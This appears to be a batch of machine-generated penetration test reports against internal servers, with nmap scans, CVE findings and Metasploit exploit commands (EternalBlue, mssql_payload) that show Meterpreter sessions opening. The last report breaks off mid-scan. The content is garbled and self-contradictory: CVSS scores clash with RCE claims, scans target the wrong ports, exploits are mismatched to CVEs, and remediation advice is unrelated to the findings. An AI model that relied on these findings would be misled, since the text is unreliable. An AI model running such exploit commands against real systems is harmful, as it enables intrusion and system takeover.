=== Automated Penetration Test Report === Test ID: PT-2025-05-11-0001 Date: 2025-05-11 19:07:18 Tester: rjohnson Organization: Acme Security Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform vulnerability scanning against the Microsoft SQL database server (192.168.242.224) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p1433,1434 192.168.242.224 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:18 Nmap scan report for 192.168.242.224 Host is up (0.56s latency). MAC Address: A4:1A:67:56:24:FC (Apple) 1433/tcp open ms-sql-s Microsoft SQL Server 2019 1434/tcp open ms-sql-s Microsoft SQL Server 2017 OS details: Windows Server 2019 OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 3 hops Service Info: Hostname: sql-backend-02 Nmap done: 1 IP address (1 host up) scanned in 5 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2020-0618 (RCE via SQL Reporting Services) CVE: CVE-2020-0618 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.242.224 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2021-1636 (RCE via TDS Protocol) CVE: CVE-2021-1636 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.8) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.242.224 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2019-1068 (Elevation of Privilege - SQL Server) CVE: CVE-2019-1068 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.242.224 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 192.168.242.224; set RPORT 1433; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-1636 (CVE-2021-1636) - CVE-2020-0618 (CVE-2020-0618) - CVE-2019-1068 (CVE-2019-1068) [*] Started reverse TCP handler on port 1433 [*] Sending payload... [*] Sending stage (320 bytes) [*] Meterpreter session 2 opened [*] Session established [*] Gained system access [*] Connected to 192.168.242.224 [*] Post-exploitation modules available: - mssql_enum - mssql_sql - mssql_exec === Final Assessment === Overall Risk Rating: High Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 5 high risk issues found - System configuration needs hardening Recommendations: 1. Validate and sanitize file paths, disable dangerous PHP functions, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Upgrade to latest SQL Server version and apply security patches. Disable obsolete TDS versions. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0002 Date: 2025-05-11 19:07:18 Tester: mchen Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute penetration testing on the SMB file server (192.168.81.54) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p445,139 192.168.81.54 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:18 Nmap scan report for 192.168.81.54 Host is up (0.42s latency). MAC Address: 98:8E:72:BF:F5:AB (Cisco) 445/tcp open microsoft-ds unknown 139/tcp open microsoft-ds unknown OS details: Windows Server 2016 OS CPE: cpe:/o:microsoft:windows_server_2016:- Network Distance: 3 hops Service Info: Hostname: smb-file-server-01 Nmap done: 1 IP address (1 host up) scanned in 7 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2021-36942 (Windows SMB Security Feature Bypass) CVE: CVE-2021-36942 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.6) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.81.54 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE) CVE: CVE-2020-0796 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.5) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.81.54 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.81.54; set RPORT 445; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2020-0796 (CVE-2020-0796) - CVE-2021-36942 (CVE-2021-36942) [*] Started reverse TCP handler on port 445 [*] Sending payload... [*] Sending stage (354 bytes) [*] Meterpreter session 8 opened [*] Session established [*] Gained system access [*] Connected to 192.168.81.54 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 4 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. 2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0003 Date: 2025-05-11 19:07:18 Tester: kwilson Organization: CyberShield Inc Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the Microsoft SQL database server (10.133.126.227) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p1433,1434 10.133.126.227 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:18 Nmap scan report for 10.133.126.227 Host is up (0.40s latency). MAC Address: A2:E2:89:CF:F3:B6 (Arista) 1433/tcp open ms-sql-s Microsoft SQL Server 2019 1434/tcp open ms-sql-s Microsoft SQL Server 2019 OS details: Windows Server 2019 OS CPE: cpe:/o:microsoft:windows_server_2019:- Network Distance: 2 hops Service Info: Hostname: sql-backend-02 Nmap done: 1 IP address (1 host up) scanned in 21 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2020-0618 (RCE via SQL Reporting Services) CVE: CVE-2020-0618 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.2) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.133.126.227 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2019-1068 (Elevation of Privilege - SQL Server) CVE: CVE-2019-1068 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.133.126.227 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-1636 (RCE via TDS Protocol) CVE: CVE-2021-1636 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.3) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.133.126.227 Result: Security vulnerability identified that could potentially compromise the Microsoft SQL database server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/sql/mssql_payload; set RHOSTS 10.133.126.227; set RPORT 1433; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-1636 (CVE-2021-1636) - CVE-2020-0618 (CVE-2020-0618) - CVE-2019-1068 (CVE-2019-1068) [*] Started reverse TCP handler on port 1433 [*] Sending payload... [*] Sending stage (566 bytes) [*] Meterpreter session 10 opened [*] Session established [*] Gained system access [*] Connected to 10.133.126.227 [*] Post-exploitation modules available: - mssql_enum - mssql_sql - mssql_exec === Final Assessment === Overall Risk Rating: Low Confidence Level: Low Confidence Rationale: Potential vulnerability identified through indirect indicators requiring further validation Key Findings: - 3 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Implement TLS 1.2+, encrypt data at rest using AES-256, and minimize data collection. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Configure SQL Agent to run under least privileged account. Enable job step security. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0004 Date: 2025-05-11 19:07:18 Tester: rjohnson Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct a comprehensive security assessment of the BIND DNS server (10.97.116.218) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=dns-recursion -p53,953 10.97.116.218 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:18 Nmap scan report for 10.97.116.218 Host is up (0.31s latency). MAC Address: 54:52:AA:4C:B3:AC (Amazon) 53/tcp open domain ISC BIND 9.16.1 953/tcp open rndc ISC BIND 9.16.1 (remote name daemon controller) | dns-recursion: | Recursion appears to be enabled |_ Potential DNS amplification vulnerability OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:5.4 Service Info: Host: ns1.internal.corp; Domain: internal.corp Nmap done: 1 IP address (1 host up) scanned in 7 seconds === Vulnerability Assessment === Tools used: - Nmap with dns-nsid and fpdns scripts - ISC BIND vulnerability checks - DNS reconnaissance tools (dig, dnsrecon) ## Vulnerability 1: CVE-2021-25216 (SIG record parsing DoS) CVE: CVE-2021-25216 CVSS Score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (7.5) Primary Tool: Nmap dns-nsid script Test Method: nmap -sU -p53 --script=dns-nsid 10.97.116.218 Result: BIND 9.16.1 is vulnerable to denial of service via specially crafted SIG records. Attackers could crash the named process by sending malformed SIG records. Remediation: Upgrade to BIND 9.16.24 or later. Apply ISC patch for CVE-2021-25216. ## Vulnerability 2: CVE-2019-6477 (NXDOMAIN cache poisoning) CVE: CVE-2019-6477 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N (5.9) Primary Tool: Manual testing with dig Test Method: dig @10.97.116.218 +short porttest.dns-oarc.net TXT Result: Server vulnerable to NXDOMAIN cache poisoning attacks due to insufficient randomization of query IDs when processing NXDOMAIN responses. Remediation: Upgrade to BIND 9.16.24 or later. Set 'nxdomain-redirect no;' === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use auxiliary/dos/dns/bind_nxdomain; set RHOSTS 10.97.116.218; exploit" Output: [*] Sending NXDOMAIN cache poisoning packets to 10.97.116.218:53 [+] Target appears vulnerable - malformed NXDOMAIN responses accepted [*] This could allow cache poisoning but no direct shell access Tool: dig (manual cache poisoning test) Command: dig @10.97.116.218 +short porttest.dns-oarc.net TXT Output: ;; Warning: ID mismatch: expected ID 12345, got 54321 ;; Warning: query response failed verification Result: Inconsistent query ID generation detected Analysis: - Confirmed NXDOMAIN handling vulnerability (CVE-2019-6477) - Confirmed SIG record parsing vulnerability (CVE-2021-25216) - No direct remote code execution possible - Potential for DNS cache poisoning and denial of service === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 3 high risk issues found - System configuration needs hardening Recommendations: 1. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Validate and sanitize URLs, implement network segmentation, and use allowlists. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0005 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: SecureNet Solutions Confidentiality: STRICTLY CONFIDENTIAL Test Objective: evaluate attack surface of the REST API gateway (10.200.162.227) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p443,8443,8080 10.200.162.227 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.200.162.227 Host is up (0.35s latency). MAC Address: 4C:29:7B:CD:EB:6D (Intel) 443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 8443/tcp open https Apache/2.4.41 (OpenSSL/1.1.1g) 8080/tcp open https nginx/1.18.0 (OpenSSL/1.1.1f) OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 3 hops Service Info: Hostname: rest-api-gateway-01 Nmap done: 1 IP address (1 host up) scanned in 8 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2022-29263 (Kong Gateway - Incorrect Authorization) CVE: CVE-2022-29263 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.9) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.200.162.227 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2022-41040 (ProxyNotShell - Exchange as a REST endpoint proxy misuse) CVE: CVE-2022-41040 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.7) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.200.162.227 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-22986 (F5 iControl REST - Auth Bypass and RCE) CVE: CVE-2021-22986 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 10.200.162.227 Result: Security vulnerability identified that could potentially compromise the REST API gateway. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/multi/handler; set RHOSTS 10.200.162.227; set RPORT 4444; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2021-22986 (CVE-2021-22986) - CVE-2022-41040 (CVE-2022-41040) - CVE-2022-29263 (CVE-2022-29263) [*] Started reverse TCP handler on port 4444 [*] Sending payload... [*] Sending stage (383 bytes) [*] Meterpreter session 10 opened [*] Session established [*] Gained user access [*] Connected to 10.200.162.227 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 3 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Enforce minimum 12-character passwords with complexity requirements and implement account lockout. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0006 Date: 2025-05-11 19:07:19 Tester: mchen Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: conduct a comprehensive security assessment of the OAuth2 authentication service (192.168.131.73) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80 192.168.131.73 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.131.73 Host is up (0.31s latency). MAC Address: 92:BF:33:7A:0B:3F (Dell) 80/tcp open http Apache/2.4.41 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 2 hops Service Info: Hostname: oauth2-authentication-service-01 Nmap done: 1 IP address (1 host up) scanned in 15 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: Insecure Configuration CVE: CVE-2021-3560 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (6.3) Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review Test Method: nmap --script vuln -p80 192.168.131.73 Result: Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low. Remediation: See vendor documentation ## Vulnerability 2: Information Disclosure CVE: CVE-2022-21618 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.4) Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review Test Method: nmap --script vuln -p80 192.168.131.73 Result: Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 192.168.131.73; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - Insecure Configuration (CVE-2021-3560) - Information Disclosure (CVE-2022-21618) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (620 bytes) [*] Meterpreter session 7 opened [*] Session established [*] Gained www-data access [*] Connected to 192.168.131.73 [*] Post-exploitation modules available: - shell - php_eval - file_upload === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 2 critical vulnerabilities identified - 2 high risk issues found - System configuration needs hardening Recommendations: 1. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Apply principle of least privilege, patch systems regularly, and monitor for suspicious activity. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0007 Date: 2025-05-11 19:07:19 Tester: kwilson Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: perform authorized security testing of the SMB file server (192.168.30.226) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p445,139 192.168.30.226 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 192.168.30.226 Host is up (0.30s latency). MAC Address: B0:24:9A:56:22:3D (Microsoft) 445/tcp open microsoft-ds unknown 139/tcp open microsoft-ds unknown OS details: Windows Server 2016 OS CPE: cpe:/o:microsoft:windows_server_2016:- Network Distance: 1 hops Service Info: Hostname: smb-file-server-01 Nmap done: 1 IP address (1 host up) scanned in 24 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: CVE-2020-0796 (SMBGhost - SMBv3 Compression RCE) CVE: CVE-2020-0796 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.1) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.30.226 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: CVE-2017-0143 (EternalBlue - SMBv1 RCE, MS17-010) CVE: CVE-2017-0143 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.0) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.30.226 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 3: CVE-2021-36942 (Windows SMB Security Feature Bypass) CVE: CVE-2021-36942 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (3.4) Primary Tool: OWASP ZAP (Passive Scan), Nmap scripts, and manual testing Test Method: nmap --script vuln -p80 192.168.30.226 Result: Security vulnerability identified that could potentially compromise the SMB file server. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS 192.168.30.226; set RPORT 445; exploit" Output: [*] Exploiting known vulnerabilities: - CVE-2020-0796 (CVE-2020-0796) - CVE-2017-0143 (CVE-2017-0143) - CVE-2021-36942 (CVE-2021-36942) [*] Started reverse TCP handler on port 445 [*] Sending payload... [*] Sending stage (511 bytes) [*] Meterpreter session 7 opened [*] Session established [*] Gained system access [*] Connected to 192.168.30.226 [*] Post-exploitation modules available: - hashdump - migrate - persistence === Final Assessment === Overall Risk Rating: Critical Confidence Level: High Confidence Rationale: Vulnerability was verified through successful exploitation or unambiguous detection signatures Key Findings: - 2 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. Implement proper role-based access control (RBAC) with centralized authorization checks. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Use prepared statements, input validation, and context-aware escaping for all interpreter contexts. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 3. Use anti-CSRF tokens with SameSite cookie attributes and validate Origin headers. Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0008 Date: 2025-05-11 19:07:19 Tester: mchen Organization: Pentest Professionals Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute penetration testing on the OAuth2 authentication service (10.254.102.180) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p80 10.254.102.180 Tool Output: Starting Nmap 7.92 at 2025-05-11 19:07:19 Nmap scan report for 10.254.102.180 Host is up (0.58s latency). MAC Address: C4:9A:E1:A0:44:93 (Arista) 80/tcp open http Apache/2.4.41 OS details: Linux 4.15.0-112-generic OS CPE: cpe:/o:linux:linux_kernel:4.15 Network Distance: 1 hops Service Info: Hostname: oauth2-authentication-service-01 Nmap done: 1 IP address (1 host up) scanned in 15 seconds === Vulnerability Assessment === Tools used: - OWASP ZAP: Active scanning, AJAX spidering, and automated vulnerability detection - Burp Suite: Manual testing, session analysis, and business logic flaw identification - Nmap scripts: Service enumeration and vulnerability verification - Metasploit: Exploit verification and proof-of-concept testing ## Vulnerability 1: Information Disclosure CVE: CVE-2022-12989 CVSS Score: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:L/I:N/A:N (2.0) Primary Tool: OWASP ZAP (Passive Scan), Burp Suite (Scanner), and manual review Test Method: nmap --script vuln -p80 10.254.102.180 Result: Security vulnerability identified that could potentially compromise the OAuth2 authentication service. Further investigation recommended to determine exact risk profile. Remediation: See vendor documentation ## Vulnerability 2: Insecure Configuration CVE: CVE-2019-18634 CVSS Score: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.1) Primary Tool: Nmap scripts, CIS benchmarks, and manual configuration review Test Method: nmap --script vuln -p80 10.254.102.180 Result: Medium Risk: Default credentials, verbose errors, or unnecessary services increase attack surface. Impact varies by configuration flaw. Attack complexity is typically low. Remediation: See vendor documentation === Exploitation Phase === Tool: Metasploit Framework 6.1 Command: msfconsole -q -x "use exploit/linux/http/nginx_backdoor; set RHOSTS 10.254.102.180; set RPORT 80; exploit" Output: [*] Exploiting known vulnerabilities: - Insecure Configuration (CVE-2019-18634) - Information Disclosure (CVE-2022-12989) [*] Started reverse TCP handler on port 80 [*] Sending payload... [*] Sending stage (418 bytes) [*] Meterpreter session 5 opened [*] Session established [*] Gained www-data access [*] Connected to 10.254.102.180 [*] Post-exploitation modules available: - shell - php_eval - file_upload === Final Assessment === Overall Risk Rating: Medium Confidence Level: Medium Confidence Rationale: Vulnerability was identified through static analysis or behavioral patterns but not fully exploited Key Findings: - 4 critical vulnerabilities identified - 4 high risk issues found - System configuration needs hardening Recommendations: 1. 1. Disable SMBv1 protocol completely 2. Apply all Windows security updates immediately 3. Restrict SMB access to authorized networks only 4. Enable SMB signing to prevent man-in-the-middle attacks Review OWASP Cheat Sheet for this vulnerability type and implement defense-in-depth controls. 2. Use proper input validation, chroot jails, and principle of least privilege for file access. Conduct privilege audit using tools like BloodHound for AD or LinPEAS for Linux. Implement just-in-time access controls where possible. 3. Apply context-sensitive output encoding and implement Content Security Policy (CSP) headers. Implement CSP with 'default-src none; script-src self; object-src none' as baseline. Report-URI directive should be configured for violation monitoring. Next Steps: - Address critical vulnerabilities within 24 hours - Remediate high risk findings within 7 days - Schedule retesting after fixes are implemented - Conduct developer security training focusing on OWASP Top 10 --- END REPORT --- === Automated Penetration Test Report === Test ID: PT-2025-05-11-0009 Date: 2025-05-11 19:07:19 Tester: asmith Organization: VulnScan Experts Confidentiality: STRICTLY CONFIDENTIAL Test Objective: execute ethical hacking engagement against the NFS server (10.151.45.224) Scope: Internal security assessment Rules of Engagement: Standard === Discovery Phase === Tester: nmap -sV -O --script=banner -p2049,111 10.151.45.224 Tool Output: 